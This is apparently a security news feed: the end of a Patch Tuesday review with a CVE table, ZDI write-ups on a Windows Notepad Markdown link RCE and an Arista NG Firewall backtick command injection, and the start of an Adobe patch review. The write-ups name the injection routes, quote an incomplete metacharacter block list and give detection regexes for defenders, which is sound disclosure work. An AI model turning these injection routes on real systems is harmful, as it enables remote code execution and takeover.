CVE-2026-58626	Windows Remote Desktop Services Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-55014	Windows Remote Help Defense Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50318	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50407	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50357	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50441	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50668	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-54109	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49792	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49793	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50362	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50492	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-50501	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58530	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49791	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-50451	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-57096	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50323	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50452	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50348	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50345	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50322	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50340	Windows Runtime Elevation of Privilege Vulnerability	Important	8.5	No	No	EoP
CVE-2026-50410	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50449	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50460	Windows Runtime Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-50403	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50385	Windows Runtime Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50413	Windows Runtime Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50457	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50486	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50503	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-54125	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58527	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50373	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50679	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-44806	Windows Secure Channel Denial of Service Vulnerability	Important	5.3	No	No	DoS
CVE-2026-50681	Windows Secure Channel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56186	Windows Secure Channel Information Disclosure Vulnerability	Important	8.1	No	No	Info
CVE-2026-50367	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58619	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50311	Windows Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50328	Windows Server Update Service (WSUS) Tampering Vulnerability	Important	7.5	No	No	Tampering
CVE-2026-58531	Windows SMB Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-54997	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-49801	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50690	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56168	Windows SMB Server Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50360	Windows SMB Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-57089	Windows SMB Server Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-50333	Windows Spaceport.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50298	Windows Spaceport.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49171	Windows Speech Runtime Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-49170	Windows StateRepository API Server file Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58526	Windows Storage Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50299	Windows Storage Spaces Direct Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-57968	Windows Subsystem for Linux (WSL2) Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-57973	Windows Subsystem for Linux (WSL2) Kernel Tampering Vulnerability	Important	6.3	No	No	Tampering
CVE-2026-50418	Windows System Secure Feature Bypass Vulnerability	Important	5.1	No	No	SFB
CVE-2026-50306	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50307	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49177	Windows TCP/IP Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50669	Windows Telephony Server Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-54124	Windows Terminal Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50350	Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50326	Windows Unified Consent System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49790	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-50498	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58547	Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-49794	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	4.6	No	No	Info
CVE-2026-50453	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-58528	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	6.8	No	No	Info
CVE-2026-50321	Windows USB Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50479	Windows USB Hub Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55000	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	6.4	No	No	EoP
CVE-2026-54991	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54996	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49802	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49806	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50674	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49804	Windows USB Video Driver Elevation of Privilege Vulnerability	Important	6.6	No	No	EoP
CVE-2026-50454	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49176	Windows WalletService Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49800	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50480	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56173	Windows WebView Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58632	Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54107	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-54986	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54112	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54114	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50670	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50688	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50687	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56176	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58628	Windows Wireless Network Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50295	Windows Zero Trust DNS Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-50509	Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55945	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Moderate	4.2	No	No	Info
CVE-2026-45488	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Moderate	5.4	No	No	Spoofing
CVE-2026-45489	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Moderate	6.5	No	No	Spoofing
CVE-2026-55145	Outlook Copilot Tampering Vulnerability	Moderate	6.3	No	No	Tampering
CVE-2026-56181	Windows Network Address Translation (NAT) Spoofing Vulnerability	Moderate	8.3	No	No	Spoofing
CVE-2026-58597	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Low	4.3	No	No	Spoofing

** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.

I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.

Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.

That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.

The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.

And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.

There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.

There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.

The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.

Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.

Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.

Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network. The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”. HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.

No new advisories are being released this month.

Looking Ahead

The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

Accelerating AI tasks while preserving data security

Sat, 25 Jul 2026 19:01:06 +0200

The SecureLoop search tool efficiently identifies secure designs for hardware that can boost the performance of complex AI tasks, while requiring less energy.

CVE-2026-20841: Arbitrary Code Execution in the Windows Notepad

Sat, 25 Jul 2026 19:00:44 +0200

In this excerpt of a TrendAI Research Services vulnerability report, Nikolai Skliarenko and Yazhi Wang of the TrendAI Research team detail a recently patched command injection vulnerability in the Windows Notepad application. This bug was originally discovered by Cristian Papa and Alasdair Gorniak of Delta Obscura. Successful exploitation of this vulnerability could result in the execution of arbitrary commands in the security context of the victim's account. The following is a portion of their write-up covering CVE-2026-20841, with a few minimal modifications.

A remote code execution vulnerability has been reported in Microsoft Windows Notepad. The vulnerability is due to improper validation of links in Markdown files.

A remote attacker could exploit this vulnerability by enticing the victim to download and interact with a malicious file. Successful exploitation of this vulnerability could result in the execution of arbitrary commands in the security context of the victim's account.

The Vulnerability

Microsoft Windows comes with a default text-editing application called Windows Notepad. Historically, this application offered only minimal editing features. However, modern versions of Windows include an improved and extended Notepad by default. This new version supports multiple file formats, Markdown rendering, and Copilot-enhanced features.

Markdown is a lightweight markup language that allows users to create formatted text using a simple syntax. It is widely used for writing documents, blog posts, and README files. It supports a wide range of formatting options, including (but not limited to) headers, styled text, numbered and bulleted lists, and links. Markdown supports two main link formats: standard and inline. The standard link format is:

[link-name](link/path)

When rendered, only the link text ("link-name") is shown to the user.

The inline links use the following format:

When rendered, they are transformed into the equivalent standard link:

[link/path](link/path)

A remote code execution vulnerability has been reported in Microsoft Windows Notepad. The vulnerability is due to improper validation of links when handling Markdown files.

When Notepad opens a file, if the application detects that the file requires special rendering (in this case, Markdown), the input file is tokenized. Tokenization in this context means splitting the raw file text into a sequence of small, recognizable pieces ("tokens") that the renderer can process one by one. Detection is performed based on the file extension. Only the ".md" extension was found to trigger Markdown rendering, as the application uses a fixed string comparison to determine whether Markdown should be rendered by calling sub_1400ED5D0(). Markdown files are rendered token by token.

Function sub_140170F60() handles clicking on links in Markdown files. It filters the link value, and passes it to ShellExecuteExW() call.

The filtering performed on the link is found to be insufficient, as it allows using malicious crafted protocol URIs, such as "file://" and "ms-appinstaller://", to execute arbitrary files in the security context of victim. ShellExecuteExW() uses the configured protocol handlers and may expose additional exploitable protocols depending on the system configuration.

A remote attacker could exploit this vulnerability by enticing the victim to download a malicious crafted Markdown file, open it, and click on a malicious link. Successful exploitation of this vulnerability could result in the execution of arbitrary commands in the security context of the victim's account.

Notes
• Files using the ".md" file extension are not registered to be opened by Notepad by default. However, when opened manually in Notepad, they are rendered as Markdown, which allows the vulnerability to be triggered.
• Any "\\" sequences are converted to "\" in the attacker-controlled link path prior to passing it to the ShellExecuteExW() call.

Source Code Walkthrough

The following code snippet was taken from Notepad.exe version 11.2508. Comments added by TrendAI researchers have been highlighted.

In sub_140170F60():

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the following application protocols that can be used to deliver an attack to exploit this vulnerability:
• FTP, over ports 21/TCP, 20/TCP
• HTTP, over port 80/TCP
• HTTPS, over port 443/TCP
• IMAP, over port 143/TCP
• NFS, over ports 2049/TCP, 2049/UDP, 111/TCP, 111/UDP
• POP3, over port 110/TCP
• SMTP, over ports 25/TCP, 587/TCP
• SMB/CIFS, over ports 139/TCP, 445/TCP

The detection device must inspect traffic transferring a Markdown file with the file extension ".md". If such a file transfer is found, the detection device must search the file content for links.

The detection device must check whether the link paths contain the strings "file:" or "ms-appinstaller:".

If "file:" was found, the detection device must search the Markdown file contents using the following case-insensitive regular expression:

(\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4}

If "ms-appinstaller:" was found, the detection device must search the Markdown file contents using the following case-insensitive regular expression:

(\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2}

If any of the regular expressions matches, the link contains a path to a remote resource. The traffic must be considered malicious; an attack exploiting this vulnerability is likely underway. This guidance should also detect the public PoC that was recently posted on GitHub.

Notes

• The string matches are case-insensitive.
• The detection guidance is based on the vendor-provided patch. However, the patch restricts the links to local-only files and HTTP(S) URIs, which may result in a huge number of false positives. Because of that, the detection guidance focuses on formats that may access and execute remote files. Due to that, it may result in false negatives.
• The vulnerable function uses the configured protocol handlers and may expose additional exploitable protocols depending on the system configuration.

Conclusion

This vulnerability was patched by Microsoft in the February 2026 release cycle. They note no workarounds but do list user interaction as a prerequisite to exploitation. To fully remediate the vulnerability, the proper action is to test and deploy the provided vendor patch.

Special thanks to Nikolai Skliarenko and Yazhi Wang of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services please visit https://go.trendmicro.com/tis/vulnerabilities.html.

CVE-2025-6978: Arbitrary Code Execution in the Arista NG Firewall

Sat, 25 Jul 2026 19:00:44 +0200

In this excerpt of a TrendAI Research Services vulnerability report, Jonathan Lein and Simon Humbert of the TrendAI Research team detail a recently patched command injection vulnerability in the Arista NG Firewall. This bug was originally discovered by Gereon Huppertz and reported through the TrendAI Zero Day Initiative (ZDI) program. Successful exploitation could result in arbitrary command execution under the security context of the root user. The following is a portion of their write-up covering CVE-2025-6798, with a few minimal modifications.

A command injection vulnerability has been reported in Arista NG Firewall. The vulnerability is due to improper validation of user data in the diagnostics component.

A remote, authenticated attacker could exploit this vulnerability by sending crafted requests to the target server. Successful exploitation could result in arbitrary command execution under the security context of the root user.

The Vulnerability

Arista NG Firewall is an open-source firewall appliance. It was originally developed under the name Untangle. Some features of Arista Firewall include spam blocking, bandwidth control, and IPS, etc. NG Firewall can be managed through a web user interface, or a JSON-RPC API using HTTP.

HTTP is a request/response protocol described in RFCs 7230 - 7237 and other RFCs. A request is sent by a client to a server, which in turn sends a response back to the client. An HTTP request consists of a request line, various headers, an empty line, and an optional message body

where CRLF represents the new line sequence Carriage Return (CR) followed by Line Feed (LF). SP represents a space character. Parameters can be passed from the client to the server as name-value pairs in either the Request-URI, or in the message-body, depending on the Method used and Content-Type header. For example, a simple HTTP request passing a parameter named “param” with value “1”, using the GET method might look like:

A corresponding HTTP request using the POST method might look like:

If there is more than one parameter/value pair, they are encoded as '&'-delimited name=value pairs:

var1=value1&var2=value2&var3=value3...

The component relevant to this report is the JSON-RPC endpoint. A JSON object has the following syntax:

•            An object is enclosed in curly braces {}.
•            An object consists of zero or more items delimited by a comma (",") character.
•            An item consists of a key and a value. A key is delimited from its value by a colon (":") character.
•            A key must be a string (enclosed in quotes).
•            A value must be a valid type. Valid types include string, number, JSON object, array, Boolean, or null.
•            An array is an object enclosed in square braces []. An array consists of zero or more string, number, JSON object, array, Boolean or null type-objects delimited by a comma (",") character.

An example JSON object is as follows:

The following is an example of a JSON-RPC request to the runTroubleshooting() method that is relevant to this report:

A command injection vulnerability has been reported in Arista NG Firewall. The vulnerability is due to improper validation of user data that is used in a command line. The runTroubleshooting() method of the class NetworkManagerImpl will be used to handle JSON-RPC requests to the runTroubleshooting method. The command parameter passed to the method will be the first element in the params JSON array in the body of the request. This value must be one of the strings in the TroubleshootingCommands enum defined in the NetworkManager class. The second parameter of the method will contain additional arguments passed to the JSON-RPC call.

The method will first iterate through each of the additional arguments and combine each key value pair into a single string, separated by a "=" character that will later be used as an environment variable. Next, a switch case statement is used to ensure the provided command is one of the values in TroubleshootingCommands. Each command value will be processed using the same code.

The method will next iterate through each environment variable, and inspect it for the following common command injection strings:

; & | > $(

If any are found, the request will be rejected, and an exception is thrown. If each environment variable is valid, the method execEvil() is called to create and execute a command line for the network-troubleshooting.sh script, with the environment variables passed as a parameter. The execEvil() method in turn will call Runtime.getRuntime().exec() to run the script, with the second parameter passing the environment variables that will be used by the script. Each command value will have a function in network-troubleshooting.sh, such as run_dns() for the “DNS” command value. Each function will follow a similar structure, by creating a CMD string using the environment variables passed by exec() and then calling eval to execute it.

However, the values of the parameters passed to the runTroubleshooting JSON-RPC method are not completely sanitized before it is used in the command line. While the parameters passed to the endpoint are inspected for some shell metacharacters, the list is incomplete. For example, the backtick character (`) is not included in the check and may be used to inject a command.

For example:

The example above will write and execute a python script on the server to achieve code execution without using any restricted characters.

A remote, authenticated attacker could exploit this vulnerability by sending a JSON-RPC request to the runTroubleshooting method containing a crafted “HOST” or “URL” parameter containing shell metacharacters not present in the runTroubleshooting() check. Successful exploitation in the worst case will result in arbitrary command execution under the security context of the root user.

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the following ports:
- HTTP, over port 80/TCP
- HTTPS, over port 443/TCP

Traffic to Arista NG Firewall may be encrypted and must be decrypted prior to applying this guidance.

The detection device must search for HTTP POST requests made to the request-URI /admin/JSON-RPC. If found, the body of the request must be parsed as JSON. The JSON object in the body must be inspected for a method key, and its value must be inspected to contain the substring runTroubleshooting. If found, the object must also be inspected for the JSON key "params", with a value containing a JSON array. The first entry in the JSON array must be inspected for any of the following strings:

If found, the second entry in the array must be inspected for a JSON object, and inspected for any of the following keys:

If either is found, the corresponding value to the key must be inspected for any of the following command injection characters:

If found, the traffic should be treated as suspicious; an attack exploiting this vulnerability is likely underway.

The following regular expression can be applied to find malicious requests:

/\x22(HOST|URL)\x22\s*:\s*\x22(?:[^\x22\\]|\\.)*?[\x60\x27\x24\x3c]/

Notes:

• String matching on the request-URI and all JSON strings should be done in a case sensitive manner.
• The JSON strings may be encoded and must be decoded prior to applying this guidance.
• The request-URI may be URL-encoded and must be decoded before applying this guidance.

Conclusion

This vulnerability has been addressed by Arista with their Security Advisory 0123. They note that the Arista Edge Threat Management - Arista Next Generation Firewall (Formerly Untangle) is affected by this bug, but other product versions are not. They also state the following mitigation can be applied:

Do not allow non-authorized administrative access or access to the administrative browser.

However, the more appropriate action is to apply the provided vendor security patch by upgrading to version 17.4 or higher.

Special thanks to Jonathan Lein and Simon Humbert of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services, please visit https://go.trendmicro.com/tis/vulnerabilities.html.

The April 2026 Security Update Review

Sat, 25 Jul 2026 19:00:42 +0200

It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for April 2026

For April, Adobe released 12 bulletins addressing 61 unique CVEs in Adobe Acrobat Reader, InDesign, InCopy, FrameMaker, Connect, ColdFusion, Bridge, Photoshop, Illustrator, Experience Manager Screens, and the Adobe DNG SDK. Three of the Cold Fusion bugs came through the TrendAI ZDI program. For this month, I’m introducing an Adobe table as well. I’d love to get your feedback on whether this is helpful.

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-43	Adobe Acrobat Reader	1	Critical	8.6	Yes	1
APSB26-44	Adobe Acrobat Reader	2	Critical	8.6	No	2
APSB26-32	Adobe InDesign	9	Critical	7.8	No	3
APSB26-33	Adobe InCopy	2	Critical	7.8	No	3
APSB26-36	Adobe FrameMaker	11	Critical	8.6	No	3
APSB26-37	Adobe Connect	9	Critical	9.6	No	3
APSB26-38	Adobe ColdFusion	7	Critical	9.3	No	1
APSB26-39	Adobe Bridge	6	Critical	7.8	No	3
APSB26-40	Adobe Photoshop	1	Critical	7.8	No	3
APSB26-42	Adobe Illustrator	1	Critical	7.8	No	3
APSB26-34	Adobe Experience Manager Screens	9	Important	5.4	No	3
APSB26-41	Adobe DNG SDK	3	Important	5.5	No	3

Obviously, the active attack in Reader is the highest priority for this month, but don’t ignore the second bunch of Reader patches. Cold Fusion also gets a deployment priority of 1, so if you’re still running that platform, make sure you get the update. Otherwise, the FrameMaker and Connect patches fix 11 and nine bugs, respectively. InDesign and Experience Manager Screens also have nine CVEs addressed.

Outside of the Reader bug, none of the other bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. One of the Reader bugs and Cold Fusion have a deployment priority of one, the other Reader bug has a priority of two, while all of the other updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for April 2026

